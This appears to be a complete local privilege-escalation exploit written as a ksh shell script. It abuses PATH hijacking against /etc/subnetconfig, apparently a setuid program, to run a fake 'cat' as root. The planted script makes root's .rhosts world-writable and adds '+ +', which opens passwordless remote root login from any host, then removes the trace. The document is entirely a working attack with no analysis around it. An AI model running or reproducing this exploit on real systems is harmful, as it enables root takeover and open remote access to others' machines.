#!/bin/ksh echo '#!/bin/ksh' > /tmp/cat echo 'chmod 666 ~root/.rhosts' >> /tmp/cat echo 'echo + + >> ~root/.rhosts' >> /tmp/cat chmod 777 /tmp/cat PATH=/tmp:$PATH export PATH /etc/subnetconfig rm /tmp/cat